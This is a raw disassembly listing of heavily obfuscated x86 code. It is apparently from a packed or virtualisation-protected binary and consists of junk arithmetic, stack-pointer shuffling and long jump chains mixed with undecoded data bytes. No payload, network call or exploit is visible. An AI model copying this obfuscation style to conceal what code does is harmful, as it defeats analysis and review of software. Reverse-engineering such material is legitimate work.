		dd 0E9728D7Dh, 0FFFFD8A7h
; ---------------------------------------------------------------------------


loc_5AF358:				; CODE XREF: sdfs____:005A3644j
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		xchg	edx, [esp]
		jmp	loc_5A3D78
; ---------------------------------------------------------------------------


loc_5AF369:				; CODE XREF: sdfs____:loc_5AF1C6j
		sub	eax, 0B355EB16h
		xor	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_5A6DFE
; ---------------------------------------------------------------------------
		db 5Ah
		dd 4271E581h, 0BB533E40h, 50125F9Dh, 6C01CB81h,	0AEE956B1h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AF397:				; CODE XREF: sdfs____:005A86F2j
		jmp	loc_5AF4BB
; ---------------------------------------------------------------------------
dword_5AF39C	dd 240C8B66h, 40FC68h, 0A7ACE900h		db 0FEh, 0FFh
word_5AF3AA	dw 8B66h		; DATA XREF: sdfs____:00598EB8o
		dd 68502404h, 3391h, 57242489h,	468h, 7C015F00h, 3C8B0424h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A2119
; ---------------------------------------------------------------------------


loc_5AF3D3:				; CODE XREF: sdfs____:005A7125j
		sub	esi, 46AA2008h
		pop	eax
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_5A5654
; ---------------------------------------------------------------------------


loc_5AF3E5:				; CODE XREF: sdfs____:0059C341j
		push	edx
		pop	ebp
		pop	edx
		push	ecx
		mov	ecx, 2D677C59h
		jmp	loc_5AED3B
; ---------------------------------------------------------------------------
		db 80h
		dd 0F18001C1h, 3E1C0A3h, 0D9F6C9FEh, 28FAF180h,	0FBDDE9C8h
		dd 3433FFFEh, 0C895C24h, 3F3CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AF416:				; CODE XREF: sdfs____:005AEAA7j
		or	eax, 2DE16043h
		jmp	loc_5A93DE
; ---------------------------------------------------------------------------
dword_5AF420	dd 6824048Bh, 4B63h, 0FFAE09E9h		db 0FFh
; ---------------------------------------------------------------------------


loc_5AF42D:				; CODE XREF: sdfs____:005AC364j
		and	ah, 0C7h
		push	ecx
		mov	ch, 0B3h
		sub	ch, 5Ch
		add	ah, ch
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_5A5D87
; ---------------------------------------------------------------------------
dword_5AF444	dd 51D830ACh, 7AE912B5h		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AF44F:				; CODE XREF: sdfs____:005AB91Fj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	eax, ebp
		push	dword ptr [esp]
		jmp	loc_59AAE5
; ---------------------------------------------------------------------------


loc_5AF466:				; CODE XREF: sdfs____:0059C4CFj
		xor	edx, esi
		xor	esi, edx
		jmp	loc_5A2324
; ---------------------------------------------------------------------------


loc_5AF46F:				; CODE XREF: sdfs____:005AEEE6j
		sub	esp, 4
		mov	[esp], esi
		push	edi
		push	58502B73h
		pop	edi
		add	edi, 14B9129Bh
		jg	loc_5AA0F3
		sub	edi, 6D6569AEh
		xor	edi, 9A67C652h
		mov	esi, edi


loc_5AF499:				; CODE XREF: sdfs____:loc_5A06A4j
		pop	esp
		jmp	loc_59D15D
; ---------------------------------------------------------------------------


loc_5AF49F:				; CODE XREF: sdfs____:005A8397j
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	5554h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	ebp
		jmp	loc_59FB43
; ---------------------------------------------------------------------------


loc_5AF4BB:				; CODE XREF: sdfs____:loc_5AF397j
		neg	cl
		jl	loc_5A921D
		not	cl
		add	cl, 24h
		jmp	loc_59A2F3
; ---------------------------------------------------------------------------
		db 0C1h, 0E1h, 4
		db 57h
; ---------------------------------------------------------------------------


loc_5AF4D1:				; CODE XREF: sdfs____:005A322Bj
		sub	ebp, 0D6915670h
		mov	edx, ebp
		pop	ebp
		inc	edx
		jnz	loc_59A658
		dec	edx
		add	edx, 2C43F72h
		jmp	loc_5A98C7
; ---------------------------------------------------------------------------
		db 53h
; ---------------------------------------------------------------------------


loc_5AF4EE:				; CODE XREF: sdfs____:005AB3F5j
		sub	eax, 753535F7h
		dec	eax
		xor	eax, 6E16092Ah
		neg	eax
		sub	eax, 1ACFA5B5h
		add	esi, eax
		pop	eax
		pop	eax
		sub	esi, 365425A5h
		and	ecx, esi
		jmp	loc_5A7FBA
; ---------------------------------------------------------------------------


loc_5AF511:				; CODE XREF: sdfs____:005A920Aj
		or	edx, 38841B65h
		sub	edx, 7C6A8C0Bh
		xor	ebp, edx
		pop	edx
		and	eax, ebp
		pop	ebp
		jmp	loc_599370
; ---------------------------------------------------------------------------


loc_5AF528:				; CODE XREF: sdfs____:0059C6CCj
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_5A619A
; ---------------------------------------------------------------------------


loc_5AF533:				; CODE XREF: sdfs____:005ACEE2j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		push	edi
		jmp	loc_5994D5
; ---------------------------------------------------------------------------


loc_5AF547:				; CODE XREF: sdfs____:0059B9ADj
		sub	ebx, ecx
		pop	ecx
		push	ecx
		mov	ecx, 7A4C5DBBh
		sub	ebx, 4AC167Eh
		sub	ebx, 6FA664BFh
		sub	ebx, ecx
		jmp	loc_5AA6D1
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF987Fh
; ---------------------------------------------------------------------------


loc_5AF568:				; CODE XREF: sdfs____:005ACC53j
		dec	edx
		jle	loc_5AEDB7
		jmp	loc_5A395B
; ---------------------------------------------------------------------------
		dd 2BDh, 3AC3C600h
		db 54h
; ---------------------------------------------------------------------------


loc_5AF57D:				; CODE XREF: sdfs____:005A297Fj
		mov	ebp, 26382311h
		jmp	loc_5AA115
; ---------------------------------------------------------------------------


loc_5AF587:				; CODE XREF: sdfs____:005AACC1j
		mov	esp, [esp]
		movsx	cx, al
		push	364h
		mov	[esp], edx
		push	44CFh
		push	esp
		pop	dword ptr [esp]
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		pop	edx
		sub	esp, 4
		jmp	loc_5AAC78
; ---------------------------------------------------------------------------


loc_5AF5B3:				; CODE XREF: sdfs____:005AB489j
		add	edx, 4
		jmp	loc_5A1878
; ---------------------------------------------------------------------------


loc_5AF5BB:				; CODE XREF: sdfs____:0059CC36j
		mov	[esp], eax
		xchg	ebp, [esp]
		not	ebp
		xchg	ebp, [esp]
		pop	eax
		sub	eax, 0FFF7B37Eh
		add	esi, eax
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		ror	word ptr [esp],	cl
		pushf
		jmp	loc_5A6C63
; ---------------------------------------------------------------------------


loc_5AF5EA:				; CODE XREF: sdfs____:005A88ADj
		pop	ecx
		jmp	loc_5AF9E1
; ---------------------------------------------------------------------------


loc_5AF5F0:				; CODE XREF: sdfs____:005A402Fj
		mov	eax, 0E123F824h
		sub	ebx, eax
		pop	eax
		mov	edi, ebx
		jmp	loc_5AB788
; ---------------------------------------------------------------------------


loc_5AF5FF:				; CODE XREF: sdfs____:005A2CD7j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5ADB60
; ---------------------------------------------------------------------------


loc_5AF60D:				; CODE XREF: sdfs____:00599DCCj
		add	esp, 4
		jmp	loc_5AEFCA
; ---------------------------------------------------------------------------


loc_5AF618:				; CODE XREF: sdfs____:0059FAF2j
					; sdfs____:005AFB5Bj
		mov	ecx, [esp]
		jmp	loc_5AB374
; ---------------------------------------------------------------------------


loc_5AF620:				; CODE XREF: sdfs____:0059C762j
		xor	bp, di
		pop	edi
		jmp	loc_5AE955
; ---------------------------------------------------------------------------


loc_5AF629:				; CODE XREF: sdfs____:005A3D7Cj
		mov	[esp], ebp
		mov	ebp, 0B5C3F1Bh
		push	ebp
		jmp	loc_5ACA1A
; ---------------------------------------------------------------------------


loc_5AF637:				; CODE XREF: sdfs____:005AE045j
		mov	edi, 37526610h
		sub	esi, edi
		pop	edi
		pop	ebx
		add	edx, 1D6D5E55h
		add	edx, esi
		sub	edx, 1D6D5E55h
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_5A5AAF
; ---------------------------------------------------------------------------


loc_5AF661:				; CODE XREF: sdfs____:0059AF13j
		sub	eax, 6FB6F1Ch
		add	eax, ecx
		add	eax, 6FB6F1Ch
		pop	ecx
		jmp	loc_5AF2C1
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFEB8DAh, 592434FFh, 0E9E68956h, 0FFFF359Ah
; ---------------------------------------------------------------------------


loc_5AF684:				; CODE XREF: sdfs____:005A4945j
		mov	ebp, 6241123Bh
		jmp	loc_59CB45
; ---------------------------------------------------------------------------


loc_5AF68E:				; CODE XREF: sdfs____:005AEF8Ej
		pop	ebx
		sub	esi, 71DF4900h
		add	esi, ecx
		push	ebp
		mov	ebp, 71DF4900h
		jmp	loc_5AE89B
; ---------------------------------------------------------------------------


loc_5AF6A2:				; CODE XREF: sdfs____:0059BF20j
		mov	[esp], eax
		mov	al, 90h
		jmp	loc_5A8DF0
; ---------------------------------------------------------------------------
		dd 225B6853h, 0DAE910BCh, 51FFFF7Ah, 2235BDB9h,	8BABE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AF6C2:				; CODE XREF: sdfs____:005AD5FCj
		and	edi, ebp
		jmp	loc_59C901
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0F8h
		dd 8148832Ch, 0B02F99F2h, 0E9D3013Fh, 0FFFF73FCh, 6155F581h
		dd 15E94A00h
		db 0Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AF6E7:				; CODE XREF: sdfs____:0059BA62j
		or	esi, 3A5807FEh
		jl	loc_59D635
		jmp	loc_5AB35C
; ---------------------------------------------------------------------------


loc_5AF6F8:				; CODE XREF: sdfs____:0059E038j
					; sdfs____:005A29C0j
		mov	edx, 34A274EBh
		or	edx, 2A0A480Ah
		add	edx, 40547094h
		shl	edx, 2
		xor	edx, 2FB93892h
		sub	edx, 6720CBCh
		jmp	loc_5AC9FF
; ---------------------------------------------------------------------------


loc_5AF71D:				; CODE XREF: sdfs____:005AC994j
		add	ebx, ecx
		pop	ecx
		add	esi, 12EB10D3h
		add	esi, ebx
		sub	esi, 12EB10D3h
		pop	ebx
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_59E7CD
; ---------------------------------------------------------------------------
		db 0BBh, 31h, 13h
		dd 81536B16h, 3B632434h, 0E95A3FBFh, 0FFFEA99Bh, 0B26AC5B8h
		dd 0DBC3E949h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AF75A:				; CODE XREF: sdfs____:005A3508j
		dec	edx
		jnz	loc_5AC757
		jmp	loc_5AB788
; ---------------------------------------------------------------------------
		dw 582Ch
		dd 8B24148Bh
		db 0D9h
; ---------------------------------------------------------------------------


loc_5AF76D:				; CODE XREF: sdfs____:0059ACBEj
		dec	ecx
		sub	ecx, 0A5F0A141h
		mov	esi, ecx
		pop	ecx
		add	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	2CB9h
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	dword ptr [esp], cl
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------
		dd 5E05B850h, 0E0C15715h, 20F80508h, 0C28955D0h, 0FFE356E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AF7C1:				; CODE XREF: sdfs____:005ABCCDj
		push	edi
		push	424A1BD0h
		pop	edi
		dec	edi
		jg	loc_59944E
		sub	edi, 424A1BCBh
		jmp	loc_5A6A98
; ---------------------------------------------------------------------------


loc_5AF7DA:				; CODE XREF: sdfs____:005A8A75j
		mov	eax, 6EB042BBh
		add	eax, 694814E1h
		shl	eax, 5
		xor	eax, 0FF0AF384h
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		sar	word ptr [esp],	cl
		pushf
		jmp	loc_5A38BB
; ---------------------------------------------------------------------------
		db 81h,	0CBh, 16h
		dd 0F75300Dh, 5B18Ah, 810F4B00h, 0FFFFD05Eh, 0E98BDCB3h
; ---------------------------------------------------------------------------


loc_5AF820:				; CODE XREF: sdfs____:005AA315j
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		push	eax
		mov	eax, 30EC590Ah
		add	eax, 0CF13A6FAh
		add	ebx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_5A6A98
; ---------------------------------------------------------------------------


loc_5AF862:				; CODE XREF: sdfs____:005ABE65j
		pop	dword ptr [esp]
		pop	esp
		not	esi
		xor	esi, 99DEC442h
		mov	edi, esi
		pop	esi
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		add	eax, ebx
		push	esi
		jmp	loc_5AC2C0
; ---------------------------------------------------------------------------


loc_5AF881:				; CODE XREF: sdfs____:005A25F5j
		pop	edx
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_5ACFD2
; ---------------------------------------------------------------------------


loc_5AF88C:				; CODE XREF: sdfs____:005A342Cj
		push	dword ptr [esp]
		pop	ebx
		push	21Bh
		jmp	loc_5AE260
; ---------------------------------------------------------------------------


loc_5AF89A:				; CODE XREF: sdfs____:005AB77Dj
		pop	ebx
		or	ebp, 37337423h
		inc	ebp
		shr	ebp, 6
		xor	ebp, 561F5844h
		push	edi
		mov	edi, 51656953h
		jmp	loc_59D57C
; ---------------------------------------------------------------------------


loc_5AF8B6:				; CODE XREF: sdfs____:005A8C92j
		add	bl, al
		sub	bl, 61h
		sub	bl, 60h
		push	edx
		mov	dh, 76h
		sub	dh, 14h
		sub	bl, 6Ah
		sub	bl, dh
		add	bl, 6Ah
		jmp	loc_59DEDD
; ---------------------------------------------------------------------------


loc_5AF8D1:				; CODE XREF: sdfs____:005A9FADj
		push	edx
		jmp	loc_5A8BA9
; ---------------------------------------------------------------------------


loc_5AF8D7:				; CODE XREF: sdfs____:005A3AB5j
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_5AD388
; ---------------------------------------------------------------------------
		db 89h
		dd 0CF88241Ch, 595BFA88h, 0FFBDD4E9h, 241489FFh, 0BE95A54h
		db 78h,	2 dup(0FFh)
byte_5AF8FF	db 83h			; DATA XREF: sdfs____:00598FA8o
		dd 0CAE904ECh
		db 0A4h, 0FEh, 0FFh
byte_5AF907	db 66h			; DATA XREF: sdfs____:00599020o
		dd 0E932FFh, 89FFFE98h,	0AAE9242Ch
		db 40h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AF917:				; CODE XREF: sdfs____:005A5993j
		push	edx
		mov	dh, 0B6h
		add	dh, 0D5h
		js	loc_59AFAF
		sub	dh, 58h
		dec	dh
		sub	dh, 2Ch
		jmp	loc_59C525
; ---------------------------------------------------------------------------


loc_5AF930:				; CODE XREF: sdfs____:005A9A95j
		mov	eax, 2540247Eh
		add	edi, 4A7D706Dh
		jmp	loc_59BC97
; ---------------------------------------------------------------------------


loc_5AF940:				; CODE XREF: sdfs____:0059DB4Dj
		mov	[esp], esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		jmp	loc_59EF4C
; ---------------------------------------------------------------------------


loc_5AF953:				; CODE XREF: sdfs____:005B02FDj
		pop	edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 4
		push	ebx
		mov	ebx, 3CCB5114h
		add	ebp, ebx
		pop	ebx
		sub	ebp, ebx
		push	edx
		mov	edx, 3CCB5114h
		sub	ebp, edx
		pop	edx
		jmp	loc_59D96F
; ---------------------------------------------------------------------------
		db 89h,	0DAh, 5Bh
		dd 1622F281h, 6DE91025h
		db 0B3h, 2 dup(0FFh)
byte_5AF993	db 0FFh			; DATA XREF: sdfs____:00598E38o
a4Xh_i		db '4$Xh_I',0
		align 4
		dd 89242C89h, 4C581E5h,	83000000h, 2C8704EDh, 0AAE95C24h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AF9B3:				; CODE XREF: sdfs____:005A3F0Bj
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5AE42A
; ---------------------------------------------------------------------------


loc_5AF9BE:				; CODE XREF: sdfs____:005A21D7j
		add	edi, esi
		pop	esi
		xor	ecx, edi
		pop	edi
		jmp	loc_59F7E8
; ---------------------------------------------------------------------------
		db 0C1h, 0EAh, 6
		dd 0FF5CBAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AF9D1:				; CODE XREF: sdfs____:005AA92Dj
		push	dword ptr [esp]
		jmp	loc_5AE874
; ---------------------------------------------------------------------------


loc_5AF9D9:				; CODE XREF: sdfs____:005AB572j
		push	dword ptr [esp]
		jmp	loc_59ABDB
; ---------------------------------------------------------------------------


loc_5AF9E1:				; CODE XREF: sdfs____:005AF5EBj
		push	6E03h
		mov	[esp], ebp
		jmp	loc_59C398
; ---------------------------------------------------------------------------


loc_5AF9EE:				; CODE XREF: sdfs____:005A6ABFj
		mov	esi, 57E92495h
		push	ecx
		mov	ecx, 118937F8h
		shl	ecx, 7
		sub	ecx, 0C49BFBFFh
		sub	esi, ecx
		push	dword ptr [esp]
		jmp	loc_59965E
; ---------------------------------------------------------------------------


loc_5AFA0C:				; CODE XREF: sdfs____:005AFB98j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	edi
		mov	edi, 5BF651CEh
		xor	edi, 5BF651CAh
		mov	ecx, edi
		jmp	loc_5AEE1B
; ---------------------------------------------------------------------------


loc_5AFA26:				; CODE XREF: sdfs____:005AC160j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_599EF7
; ---------------------------------------------------------------------------


loc_5AFA31:				; CODE XREF: sdfs____:005996E7j
		mov	[esp], esi
		jmp	loc_5A8FD1
; ---------------------------------------------------------------------------


loc_5AFA39:				; CODE XREF: sdfs____:0059E382j
		push	1301h
		mov	[esp], ebx
		jmp	loc_5A35F6
; ---------------------------------------------------------------------------


loc_5AFA46:				; CODE XREF: sdfs____:005A8268j
		mov	edi, 49AA42E8h
		jmp	loc_59E828
; ---------------------------------------------------------------------------


loc_5AFA50:				; CODE XREF: sdfs____:005A8F42j
		mov	ebp, [esp]
		add	esp, 4
		xor	ebx, eax
		pop	small word ptr [eax]
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5AFA60:				; CODE XREF: sdfs____:0059E635j
		mov	esp, [esp]
		jmp	loc_59C6FB
; ---------------------------------------------------------------------------


loc_5AFA68:				; CODE XREF: sdfs____:loc_5A6021j
		add	edx, 0FFFFFFFFh
		push	esi
		mov	esi, 0E51AD12Ch
		jmp	loc_59B9D9
; ---------------------------------------------------------------------------


loc_5AFA76:				; CODE XREF: sdfs____:005A60B7j
		mov	[esp], edx
		jmp	loc_5A08E1
; ---------------------------------------------------------------------------


loc_5AFA7E:				; CODE XREF: sdfs____:0059DE85j
					; sdfs____:005A6BE0j
		sub	edi, eax
		push	eax
		mov	eax, 5AE5164Dh
		xor	eax, 0FE4023h
		sub	edi, eax
		pop	eax
		pop	eax
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_5AC5B2
; ---------------------------------------------------------------------------
		db 0BEh, 4, 0
		dd 0F7010000h, 0FEC1B0E9h, 5A5452FFh, 4C281h, 0C2810000h
		dd 4, 0FF9B3CE9h, 245C01FFh, 0F48EE908h, 0C681FFFFh, 3C90C030h
		dd 0FFEC03E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AFAD1:				; CODE XREF: sdfs____:005AB31Dj
		add	eax, 0B7F2EEA7h
		xor	esi, eax
		pop	eax
		mov	eax, esi
		pop	esi
		add	ebx, eax
		jmp	loc_5A4302
; ---------------------------------------------------------------------------
		db 89h
		dd 0C9E92404h
		db 0ACh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AFAEB:				; CODE XREF: sdfs____:005A0EE8j
		pop	ecx
		not	dl
		shl	dl, 1
		jmp	loc_59BDD8
; ---------------------------------------------------------------------------


loc_5AFAF5:				; CODE XREF: sdfs____:0059E418j
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mul	cx
		push	0BB8h
		mov	[esp], eax
		push	esp
		jmp	loc_5AD209
; ---------------------------------------------------------------------------


loc_5AFB11:				; CODE XREF: sdfs____:005A90D5j
		and	ecx, 52A67E6Fh
		jmp	loc_59C004
; ---------------------------------------------------------------------------


loc_5AFB1C:				; CODE XREF: sdfs____:0059E3F5j
					; sdfs____:loc_5A9A45j
		add	ebx, 4
		jmp	loc_5AD25E
; ---------------------------------------------------------------------------


loc_5AFB27:				; CODE XREF: sdfs____:005A60EEj
		add	ebp, 6A5159EAh
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 4
		sub	ecx, 12552660h
		add	ecx, edx
		jmp	loc_59C378
; ---------------------------------------------------------------------------


loc_5AFB4E:				; CODE XREF: sdfs____:005ABA3Ej
		push	esi
		mov	esi, 4
		jmp	loc_5AE2AC
; ---------------------------------------------------------------------------


loc_5AFB59:				; CODE XREF: sdfs____:005B0313j
		sub	ebx, ecx
		jmp	loc_5AF618
; ---------------------------------------------------------------------------


loc_5AFB60:				; CODE XREF: sdfs____:005A5686j
		dec	ecx
		xor	ecx, 0D467FA08h
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	eax, ebp
		pop	ebp
		add	eax, 0E4D6F249h
		add	ebx, 7EBF03C2h
		jmp	loc_5ABEF6
; ---------------------------------------------------------------------------


loc_5AFB85:				; CODE XREF: sdfs____:0059C70Aj
		push	2031h
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		jmp	loc_5AFA0C
; ---------------------------------------------------------------------------


loc_5AFB9D:				; CODE XREF: sdfs____:005A8625j
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_59E71A
; ---------------------------------------------------------------------------


loc_5AFBAB:				; CODE XREF: sdfs____:005A101Fj
		pop	eax
		mov	eax, ebx
		jmp	loc_599E42
; ---------------------------------------------------------------------------


loc_5AFBB3:				; CODE XREF: sdfs____:005A52D4j
		push	446Ch
		mov	[esp], eax
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_5A4A27
; ---------------------------------------------------------------------------


loc_5AFBC6:				; CODE XREF: sdfs____:005B0017j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	edx, 7D6E19CAh
		pop	ecx
		push	esi
		mov	esi, 54BE28E6h
		neg	esi
		sub	esi, 6C2B4748h
		xor	esi, 51964C7Ah
		and	esi, 34BA2933h
		or	esi, 1AB9328Fh
		add	esi, 0F410E600h
		sub	ebx, esi
		pop	esi
		sub	ebx, 251D5C84h
		add	ebx, edx
		jmp	loc_59C725
; ---------------------------------------------------------------------------
		dw 0F729h
		dd 0E924348Bh, 0FFFF9A1Ch
; ---------------------------------------------------------------------------


loc_5AFC14:				; CODE XREF: sdfs____:005A7AC7j
		mov	esi, 0B564C76h
		push	edx
		mov	edx, 32B20F8Fh
		sub	edx, 2AFD43F9h
		neg	edx
		neg	edx
		jmp	loc_5A2F0A
; ---------------------------------------------------------------------------


loc_5AFC2E:				; CODE XREF: sdfs____:005A1D06j
		pop	ecx
		jmp	loc_59DFB7
; ---------------------------------------------------------------------------


loc_5AFC34:				; CODE XREF: sdfs____:005A8E8Dj
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_59C7C2
; ---------------------------------------------------------------------------
		db 0B9h, 3Dh, 47h
		dd 4C292855h, 0E9590824h, 0FFFFD64Ah
; ---------------------------------------------------------------------------


loc_5AFC4C:				; CODE XREF: sdfs____:005A988Dj
		inc	eax
		sub	eax, 2C7B0B59h
		jmp	loc_5AA683
; ---------------------------------------------------------------------------


loc_5AFC57:				; CODE XREF: sdfs____:005A40A7j
		sub	eax, 48E53233h
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	6155h
		jmp	loc_5AA7A9
; ---------------------------------------------------------------------------


loc_5AFC78:				; CODE XREF: sdfs____:005A4647j
		popf
		jmp	locret_5A7839
; ---------------------------------------------------------------------------


loc_5AFC7E:				; CODE XREF: sdfs____:005A14B1j
		mov	esp, [esp]
		mov	[esp], ebx
		push	3F2h
		mov	[esp], edx
		mov	edx, 38272424h
		xor	edx, 2C916E22h
		shr	edx, 4
		shr	edx, 4
		jmp	loc_599C6F
; ---------------------------------------------------------------------------


loc_5AFCA2:				; CODE XREF: sdfs____:0059A127j
		not	ebx
		sub	ebx, 73B83C57h
		js	loc_5AAE09
		or	ebx, 6C1B1F9Bh
		jmp	loc_5A58CF
; ---------------------------------------------------------------------------


loc_5AFCBB:				; CODE XREF: sdfs____:005991E6j
		pop	edx
		jmp	loc_5A4BD0
; ---------------------------------------------------------------------------


loc_5AFCC1:				; CODE XREF: sdfs____:005A1A94j
		mov	[esp], edx
		push	1A76D77h
		mov	edx, [esp]
		add	esp, 4
		sub	edx, 740F582Eh
		shr	edx, 8
		jnz	loc_59D4F7
		push	esi
		jmp	loc_5AB374
; ---------------------------------------------------------------------------
		db 66h
		dd 56240C8Bh
		db 54h,	55h
; ---------------------------------------------------------------------------


loc_5AFCEE:				; CODE XREF: sdfs____:005A88E8j
		pop	esp
		jmp	loc_59F96F
; ---------------------------------------------------------------------------


loc_5AFCF4:				; CODE XREF: sdfs____:005A9ABAj
					; sdfs____:005AE925j
		inc	edx
		jmp	loc_5A3B84
; ---------------------------------------------------------------------------
		dw 0E957h
		dd 0FFFFCCA8h, 4F6EBA52h, 0EA816683h, 1, 7A36CA81h, 6E90BA6h
		dd 0DFFFEE0h, 64B11E7Bh, 0CF2F742Dh, 7B19E94Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AFD26:				; CODE XREF: sdfs____:0059F3A9j
		add	esp, 4
		add	edx, 4
		jmp	loc_5A917C
; ---------------------------------------------------------------------------
byte_5AFD37	db 66h			; DATA XREF: sdfs____:00598F5Co
		dd 6824048Bh, 13F5h, 89243C89h,	9E0EE9E7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AFD4A:				; CODE XREF: sdfs____:005A1003j
		not	dh
		and	dh, 10h
		jnp	loc_59D438
		inc	dh
		xor	dh, 0FCh
		jmp	loc_5A7D75
; ---------------------------------------------------------------------------


loc_5AFD5F:				; CODE XREF: sdfs____:005A4D50j
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_5A8C3A
; ---------------------------------------------------------------------------


loc_5AFD69:				; CODE XREF: sdfs____:0059CF9Dj
		shr	edx, 7
		js	loc_5A11BE
		xor	edx, 10EA6D25h
		jb	loc_5AAEDC
		shr	edx, 8
		jnp	loc_5B015D
		push	esi
		sub	esp, 4
		jmp	loc_59E39B
; ---------------------------------------------------------------------------


loc_5AFD90:				; CODE XREF: sdfs____:0059AC2Ej
					; sdfs____:0059BD54j
		pop	esi
		jmp	loc_5AEC01
; ---------------------------------------------------------------------------


loc_5AFD96:				; CODE XREF: sdfs____:0059E715j
		xor	eax, 0D1B3A518h
		add	edi, eax
		jmp	loc_59B6A4
; ---------------------------------------------------------------------------


loc_5AFDA2:				; CODE XREF: sdfs____:005AB2E5j
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_59C12F
; ---------------------------------------------------------------------------
		db 54h,	5Bh, 0E9h
		dd 0FFFF60ADh
; ---------------------------------------------------------------------------


loc_5AFDB4:				; CODE XREF: sdfs____:005AE306j
		push	eax
		mov	eax, esp
		push	edi
		jmp	loc_5AD651
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 0AA06E953h, 0F4BFFFFh, 0FF037881h, 70EB81FFh, 43407F2Eh
		db 8Ah,	0CDh, 5Ch
; ---------------------------------------------------------------------------


loc_5AFDD7:				; CODE XREF: sdfs____:loc_5A6626j
		or	ebx, 52037C90h
		jmp	loc_5A7EAC
; ---------------------------------------------------------------------------


loc_5AFDE2:				; CODE XREF: sdfs____:005A29A8j
		dec	edx
		neg	edx
		xor	edx, 0AA18A6CFh
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		add	eax, ebp
		jmp	loc_59C38B
; ---------------------------------------------------------------------------


loc_5AFDFD:				; CODE XREF: sdfs____:005A7328j
		mov	edi, 1E8179Dh
		and	eax, edi
		pop	edi
		shr	eax, 4
		shr	eax, 3
		xor	eax, 8D33F1h
		jmp	loc_599DB7
; ---------------------------------------------------------------------------


loc_5AFE15:				; CODE XREF: sdfs____:005A8792j
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_59FE30
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
